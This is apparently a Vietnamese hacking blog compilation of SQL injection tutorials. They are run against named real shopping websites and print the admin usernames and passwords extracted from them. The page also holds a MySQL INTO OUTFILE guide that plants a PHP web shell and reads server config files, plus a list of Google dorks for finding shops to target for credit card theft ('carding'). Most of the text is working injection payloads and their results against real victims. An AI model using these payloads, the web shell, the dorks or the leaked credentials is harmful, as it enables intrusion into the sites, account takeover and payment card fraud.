<a href="http://www.kleer-fax.com/proddetail%E2%80%A6union%20select%" rel="nofollow">http://www.kleer-fax.com/proddetail…union%20select%</a> (<a href="http://www.kleer-fax.com/proddetail%E2%80%A6union%20select%" rel="nofollow">http://www.kleer-fax.com/proddetail…union%20select%</a> 201,2,3%20from%20admin)

Lại được:

Microsoft JET Database Engine error ’80040e14′ 
 The number of columns in the two selected tables or queries of a union 
 query do not match. 
 /proddetail.asp, line 246

Tiếp tục đến khi nào thấy đuợc Columb thì thôi á…. 
Ở Site này ..ta dừng lại ở 14

<a href="http://www.kleer-fax.com/proddetail%E2%80%A6union%20select%" rel="nofollow">http://www.kleer-fax.com/proddetail…union%20select%</a> 201,2,3,4,5,6,7,8,9,10,11,12,13,14%20from%20admin

Đây rùi :

Home : All Products

4-5-6
 Item: 3 List Price: $9.00 USD
 7 
 1

Chú ý số 7 và 1 nhé, đó là thông tin của 2 columb chứa thông tin Admin ( user/ pass) 
Ta thay câu lệnh truy vấn user và pass admin vào vị trí 1 và 7:

and%201=0%20union%20select%201,2,’username:%20′%2b adminuser,4,5,6,’pass
 word:%20′%2badminpassword,8,9,10,11,12,13,14%20fro m%20admin

Và Kết quả :
<a href="http://www.kleer-fax.com/proddetail%E2%80%A6%201=0%20union%" rel="nofollow">http://www.kleer-fax.com/proddetail…%201=0%20union%</a>
 20select%201%2c2%2c%27username:%20%27%2badminuser% 
2c4%2c5%2c6%2c%27password:%20%27%2badminpassword%2 
c8%2c9%2c10%2c11%2c12%2c13%2c14%20from%20admin 
..Phu`…đây…

Item: username: kleer1 List Price: $9.00 USD
 password: do750boy

Ui ui..vào thử coi :
<a href="http://www.kleer-fax.com/admin/login.asp" rel="nofollow">http://www.kleer-fax.com/admin/login.asp</a>

ui ui…hi` hi`…

Please choose from the list below.

Change username / password: 
 Edit admin settings: 
 Edit categories: 
 Edit products: 
 Logout: 
 Đuợc rùi á

Chú ý: Khi union được mà ko báo lỗi thì mới dùng and 1=0

Trường hợp này thì phải thêm vào á….1 site tương tự cũng dính lỗi này, mà ko cần thêm and 1=0 khi truy vấn thông tin Admin

<a href="http://www.satinslippers.com/shop/p%E2%80%A6prod=puckerpots" rel="nofollow">http://www.satinslippers.com/shop/p…prod=puckerpots</a>

Ở Site này 
Sau khi tìm table

<a href="http://www.satinslippers.com/shop/proddeta%E2%80%A6pots23305%E2%80%B2%" rel="nofollow">http://www.satinslippers.com/shop/proddeta…pots23305′%</a>
 20union%20select%201,2,3,4,5,6,7,8,9,10%20from%20a dmin

Ta được 2 Colum 2 va 8

( Nhớ nhìn kĩ chút…vì site này nó bị lệch chút đỉnh á , mới đầu MAY 
lay hoay nhìn ko ra cái columb á, tưởng làm sai gì rồi á…ui ui..thì ra 
có á…)

<a href="http://www.satinslippers.com/shop/p%E2%80%A6ckerpots%27%20u" rel="nofollow">http://www.satinslippers.com/shop/p…ckerpots%27%20u</a>
 nion%20select%201%2c%27username:%20%27%2badminuser %2c3%2c4%2c5%2c6%2c7%

2c%27password:%20%27%2badminpassword%2c9%2c10%20fr om%20admin

Ok , ra rùi
username: satinslippers 
 password: ss2980 
. Kiếm link đăng nhập thoai

</div>
</div>

Hack bằng lỗi JET DATABASE – JET DB

Hiên nay nhiều Shop mắc lỗi JET DB Microsoft JET Database Engine error ’80040e14′ Cách khai thác tương tự SQL Inject, thêm dấu “ ‘ ...

Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="entry clear-block">
 Trong bài viết này tôi sẽ đề cập đến câu lệnh “into outfile“,
 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker 
khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.

Chú ý: Tấn
 công một website mà chưa có sự đồng ý của chủ nhân là vi phạm pháp 
luật. Bài viết này chỉ mang tính nghiên cứu và học hỏi. Tôi khuyến khích
 mọi người nên tự cài đặt hệ thống trên máy của mình và thử nghiệm, 
không nên tấn công phá hoại các site trên thực tế – c0mm3nt 2009

<h2 style="text-align: left;">
1. Quyền FILE (FILE privilege)</h2>
<h2>
</h2>

Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE 
Thử xem xét một số lệnh sau đây:

<div>
<div>
Code:</div>
<pre>1' union select current_user,null/*</pre>
</div>
hoặc

<div>
<div>
Code:</div>
<pre>1' union select user(),null/*</pre>
</div>
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Usernam@server 
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau

Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được.

Các câu lệnh ví dụ:

<div>
<div>
Code:</div>
<pre>1' and user() like 'root 1' and mid(user(),1,1) 1' and mid(user(),2,1)>'m 1' 
and ascii(substring(user(),1,1))>64 .....</pre>
</div>
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không 
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:

<div>
<div>
Code:</div>
<pre>1' union select file_priv,null from mysql.user where user='username</pre>
</div>
Chú ý: thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được

Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi

vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất – khi chuyển sang Blind

<div>
<div>
Code:</div>
<pre>1' and mid((select file_priv from mysql.user where user='username'),1,1)='a 
(đừng có thêm NULL ở đây, vì đây ko phải là union select)</pre>
</div>
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x 
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema

<div>
<div>
Code:</div>
<pre>0′ union select grantee,is_grantable FROM information_schema.user_privileges 
privilege_type = ‘file’ and grantee like ‘%username%</pre>
</div>
Với blind:

<div>
<div>
Code:</div>
<pre>1′ and mid((select is_grantable from information_schema.user_privileges 
where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y</pre>
</div>
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ

bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác

sử dụng INTO OUTFILE sẽ không thực hiện được

<h2 style="text-align: left;">
2. Vấn đề về thư mục web</h2>
<h2>
</h2>

Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn

chính xác đến thư mục/file mà ta muốn ghi file. 
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ

mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../ 
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:

<div>
<div>
Code:</div>
<pre>0′ UNION SELECT load_file(’a'),null/*</pre>
</div>
Trong Mysql 5 thì có thể union select:

<div>
<div>
Code:</div>
<pre>0′ UNION SELECT @@datadir,null/*</pre>
</div>
Thư mục mặc định để ghi file sẽ là datadir\databasename 
Bạn có thể biết được tên databasename bằng câu lệnh

<div>
<div>
Code:</div>
<pre>0′ UNION SELECT database(),null/*</pre>
</div>
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(), mysql_free_result(),

mysql_fetch_row() hoặc các lệnh tương tự.

Trong các warning này sẽ hiển thị đường dẫn đến thư mục web và chúng ta dễ dàng xác định được

thư mục để ghi file lên. Các warning này có dạng như

<div>
<div>
Code:</div>
<pre>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result 
resource in /home/shop/shopping2/list1.html on line 80</pre>
</div>
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0

Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắt thì

bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình.

1 số đường dẫn mặc định đến file cấu hình:

<div>
<div>
Code:</div>
<pre>/etc/init.d/apache 
/etc/init.d/apache2 
/etc/httpd/httpd.conf 
/etc/apache/apache.conf 
/etc/apache/httpd.conf 
/etc/apache2/apache2.conf 
/etc/apache2/httpd.conf 
/usr/local/apache2/conf/httpd.conf 
/usr/local/apache/conf/httpd.conf 
/opt/apache/conf/httpd.conf 
/home/apache/httpd.conf 
/home/apache/conf/httpd.conf 
/etc/apache2/sites-available/default 
/etc/apache2/vhosts.d/default_vhost.include</pre>
</div>
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt :)

Thông thường thư mục gốc chứa web thường đặt ở:

<div>
<div>
Code:</div>
<pre>/var/www/html/ 
/var/www/web1/html/ 
/var/www/sitename/htdocs/ 
/var/www/localhost/htdocs 
/var/www/vhosts/sitename/httpdocs/</pre>
</div>
bạn có thể google để tìm thêm

Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE.

Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public.

Xem thêm tại <a href="http://dev.mysql.com/doc/refman/5.1/...s-options.html" target="_blank">http://dev.mysql.com/doc/refman/5.1/…s-options.html</a>

<h2 style="text-align: left;">
3. Tạo ra các file hữu dụng</h2>
<h2>
</h2>

Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL

<div>
<div>
Code:</div>
<pre>0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt</pre>
</div>
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:

<div>
<div>
Code:</div>
<pre>1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt</pre>
</div>
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE

Cũng có thể kết hợp giữa load_file() để đọc các file trên server

<div>
<div>
Code:</div>
<pre>0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…</pre>
</div>
Trong một số trường hợp ta cần sử dụng hex và unhex:

<div>
<div>
Code:</div>
<pre>0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…</pre>
</div>
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn

<div>
<div>
Code:</div>
<pre>0′ AND 1=0 UNION SELECT ‘code’,null INTO 
OUTFILE ‘../../web/server/dir/file.php</pre>
</div>
Đây là 1 số ví dụ:

<div>
<div>
Code:</div>
<pre>// PHP SHELL 
<? system($_GET['c']); ?></pre>
</div>
hoặc passthru nếu muốn

<div>
<div>
Code:</div>
<pre>// webserver info 
<? phpinfo(); ?>
 
// SQL QUERY 
<? ... $result = mysql_query($_GET['query']); … ?></pre>
</div>
Cuối cùng, 1 số chú ý về kiểu khai thác này: 
-Không thể overwrite file với câu lệnh này 
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn 
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE(‘FILENAME‘) chặn ‘ thì

không khai thác được, biết cách khai thác vui lòng PM 
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()

<div style="text-align: right;">
Source: Thanggiangho</div>
</div>
</div>

Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

Trong bài viết này tôi sẽ đề cập đến câu lệnh “ into outfile “, 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker k...

Khai thác SQL injection đối với aspx

<div dir="ltr" style="text-align: left;" trbidi="on">
Victim: <a href="http://quangcaovinasun.com.vn/" target="_blank">http://quangcaovinasun.com.vn</a>

<h2 style="text-align: left;">
Bước 1: Check link lỗi</h2>
Đối với site aspx, ta thêm dấu ‘ cuối đường link có các ký tự dạng ID=, Sp=…. Nếu thấy site xuất hiện lỗi: 

Unclosed quotation mark after the character string ” 

Chứng tỏ site dính lỗi SQLI. 
Ví dụ: <a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42%E2%80%99" target="_blank">http://quangcaovinasun.com.vn/Produc…MaSP=42’</a>

<h2 style="text-align: left;">

Bước 2: Truy vấn tên các tables</h2>
<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a> and 1=convert(int,(select top 1 table_name from information_schema.tables))– - 

Xuất hiện thông tin tên table thứ nhất: “tbl_DangNhap”. 

Conversion failed when converting the nvarchar value ‘tbl_DangNhap‘ to data type int. 

Tiếp tục truy vấn: 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a> and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘tbl_DangNhap’)))– - 

 Conversion failed when converting the nvarchar value ‘tbl_DiaChi‘ to data type int. 

Tiếp tục, 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a>
 and 1=convert(int,(select top 1 table_name from 
information_schema.tables where table_name not in 
(‘tbl_DangNhap’,’tbl_DiaChi’ )))– - 

Conversion failed when converting the nvarchar value ‘tbl_DoiTac‘ to data type int. 
 

Làm tương tự cho tới khi xuất hiện table user chứa thông tin username
 và password. Ở site này table chứa thông admin đăng nhập của admin là 
table đầu tiên: Tbl_DangNhap

<h2>
 Bước 3 : Truy vấn tên các columns </h2>
Như thông tin khai thác được ở trên. Table chứa thông tin username và password chính là table: tbl_DangNhap. Chính vì vậy ta sẽ khai thác table này. 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a> and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=(‘tbl_DangNhap’) ))– - 

 Conversion failed when converting the nvarchar value ‘ID‘ to data type int. 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a>
 and 1=convert(int,(select top 1 column_name from 
information_schema.columns where table_name=(‘tbl_DangNhap’) and 
column_name not in (‘ID’)))– - 

Conversion failed when converting the nvarchar value ‘TenDN‘ to data type int. 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a>
 and 1=convert(int,(select top 1 column_name from 
information_schema.columns where table_name=(‘tbl_DangNhap’) and 
column_name not in (‘ID’,’TenDN’)))– - 

 Conversion failed when converting the nvarchar value ‘Matkhau‘ to data type int.

<h2 style="text-align: left;">
Bước 4: Khai Thác thông tin username và password</h2>
- Thông tin username: 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a> and 1=convert(int,(select top 1 TenDN from tbl_DangNhap))– - 

 Conversion failed when converting the nvarchar value ‘loimv‘ to data type int. 

- Thông tin password 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a> and 1=convert(int,(select top 1 Matkhau from tbl_DangNhap))— 

Conversion failed when converting the nvarchar value ‘maihoanglinh@‘ to data type int 
- Hoặc get cả username và password 

<a href="http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42" target="_blank">http://quangcaovinasun.com.vn/Produc…l.aspx?MaSP=42</a> and 1=convert(int,(select top 1 TenDN%2b’/’%2bMatkhau from tbl_DangNhap))– - 

 Conversion failed when converting the nvarchar value ‘loimv/maihoanglinh@‘ to data type int

<div style="text-align: left;">
 </div>
<h2 style="text-align: left;">

Bước 5: Tìm link admin và đăng nhâp </h2>
Sử dụng tool havij hoặc web admin finder, đã được giới thiệu ở bài 2: 

<a href="http://ducdung08clc.blogspot.com/2012/03/v-behaviorurldefaultvmlo.html" target="_blank">http://ducdung08clc.blogspot.com/201…faultvmlo.html</a> 

Ta được link admin: 

<a href="http://quangcaovinasun.com.vn/admin/Default.aspx" target="_blank">http://quangcaovinasun.com.vn/admin/Default.aspx</a> 

admin: loimv
 
password: maihoanglinh@ 

<div style="text-align: right;">
Nguồn: ducdung08clc.blogspot.com</div>
</div>

Khai thác SQL injection đối với aspx

Victim: http://quangcaovinasun.com.vn Bước 1: Check link lỗi Đối với site aspx, ta thêm dấu ‘ cuối đường link có các ký tự dạng ID=, S...

NEW CC SHOP DORKS

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="_5pbx userContent" data-ft="{"tn":"K"}">
 
<h4 style="text-align: left;">
 InI Dork Untuk Carding</h4>
<h4>
</h4>
 inurl:".php?cat="+intext:"Paypal"+site:UK inurl:".php?cat="+intext:"/Buy Now/"+site:.net inurl:".php?cid="+intext:"online+betting" 
 inurl:".php?id=" intext:"View cart" inurl:".php?id=" intext:"Buy Now" inurl:".php?id=" intext:"add to cart" inurl:".php?id=" intext:"shopping" inurl:".php?id=" intext:"boutique" inurl:".php?id=" intext:"/store/" inurl:".php?id=" intext:"/shop/" inurl:".php?id=" intext:"toys" 
 inurl:".php?cid=" inurl:".php?cid=" intext:"shopping" inurl:".php?cid=" intext:"add to cart" inurl:".php?cid=" intext:"Buy Now" inurl:".php?cid=" intext:"View cart" inurl:".php?cid=" intext:"boutique" inurl:".php?cid=" intext:"/store/" inurl:".php?cid=" intext:"/shop/" inurl:".php?cid=" intext:"Toys" 
 inurl:".php?cat=" inurl:".php?cat=" intext:"shopping" inurl:".php?cat=" intext:"add to cart" inurl:".php?cat=" intext:"Buy Now" inurl:".php?cat=" intext:"View cart" inurl:".php?cat=" intext:"boutique" inurl:".php?cat=" intext:"/store/" inurl:".php?cat=" intext:"/shop/" inurl:".php?cat=" intext:"Toys" 
 inurl:".php?catid=" inurl:".php?catid=" intext:"View cart" inurl:".php?catid=" intext:"Buy Now" inurl:".php?catid=" intext:"add to cart" inurl:".php?catid=" intext:"shopping" inurl:".php?catid=" intext:"boutique" inurl:".php?catid=" intext:"/store/" inurl:".php?catid=" intext:"/shop/" inurl:".php?catid=" intext:"Toys"</div>
</div>

NEW CC SHOP DORKS

InI Dork Untuk Carding inurl:".php?cat="+intext:"Paypal"+site:UK inurl:".php?cat="+intext:"/Buy...